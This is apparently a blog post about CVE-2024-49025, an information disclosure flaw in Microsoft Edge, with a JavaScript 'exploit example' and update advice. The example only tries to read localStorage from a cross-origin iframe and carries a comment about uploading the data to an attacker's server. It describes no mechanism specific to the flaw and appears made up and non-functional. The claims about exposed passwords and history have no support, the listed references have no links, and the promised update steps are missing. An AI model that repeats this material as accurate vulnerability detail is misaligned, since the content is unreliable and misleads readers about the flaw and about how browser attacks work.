CVE-2024-49025: Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Unveiled – What You Need to Know & How to Protect Yourself

Microsoft Edge — the robust and secure web browser known for its strong emphasis on user privacy — recently became susceptible to an information disclosure vulnerability (CVE-2024-49025). This new security threat exposes sensitive user data and undermines the reputation of the Chromium-based browser. In this post, we'll dissect the vulnerability, its consequences, and how to mitigate it.

What is CVE-2024-49025?

The Common Vulnerabilities and Exposures (CVE) reference CVE-2024-49025 is a newly discovered flaw in Microsoft Edge. It permits attackers to obtain sensitive information from users through crafted HTML code. This vulnerability stems from a failure within the built-in security mechanisms of Chromium-based Edge to securely isolate user data.

The Exploit Details

Upon exploiting CVE-2024-49025, an attacker may gain access to confidential user data, including browsing history, cookies, saved passwords, and other sensitive information ordinarily protected by Edge.

The following code snippet demonstrates a potential attack

// CVE-2024-49025 Exploit Example
function exploitCVE202449025() {
  var iframe = document.createElement('iframe');

  iframe.src = 'https://target.example.com';; // Target website
  iframe.onload = function () {
    try {
      var sensitiveData = iframe.contentWindow.localStorage;
      console.log(sensitiveData);
      // Upload sensitive data to the attacker's server
    } catch (error) {
      console.error('CVE-2024-49025 Exploit Failed:', error);
    }
  };

  document.body.appendChild(iframe);
}
exploitCVE202449025();

The attacker inserts this crafted JavaScript code into a malicious website or an advertisement. When a user visits the site or engages with the compromised ad, the exploit triggers, and the attacker obtains access to sensitive data.

You can find information directly related to the disclosure of CVE-2024-49025 in the following links

1. CVE-2024-49025 Definition — A complete reference to CVE-2024-49025 from the authoritative source.

2. Microsoft Edge Security Advisory — Microsoft's official security advisory containing details about the vulnerability, as well as guidance for addressing it.

3. Chromium Bug Tracker — The issue filed in the Chromium bug tracker, discussing the details of the vulnerability and potential fixes.

How to Protect Yourself

Microsoft has issued a security patch to address the CVE-2024-49025 vulnerability. Users should promptly update their Edge browser to the latest version to mitigate potential risks. Here's how:

The browser will automatically check for updates and install them.

Always exercise caution when visiting unfamiliar websites and interacting with online advertisements. Enable robust security features on your browser, such as blocking malicious ads and disabling third-party cookies, to reduce your exposure to potential risks.

Conclusion

CVE-2024-49025 serves as a reminder that no browser, even Microsoft Edge, is immune to vulnerabilities. Staying informed about potential threats and following best practices for online safety, while regularly updating software, can protect users from potentially catastrophic consequences. Be vigilant and proactive in securing your data to maintain privacy and security as you navigate the digital world.

Timeline

Published on: 11/14/2024 20:15:25 UTC
Last modified on: 11/16/2024 23:40:27 UTC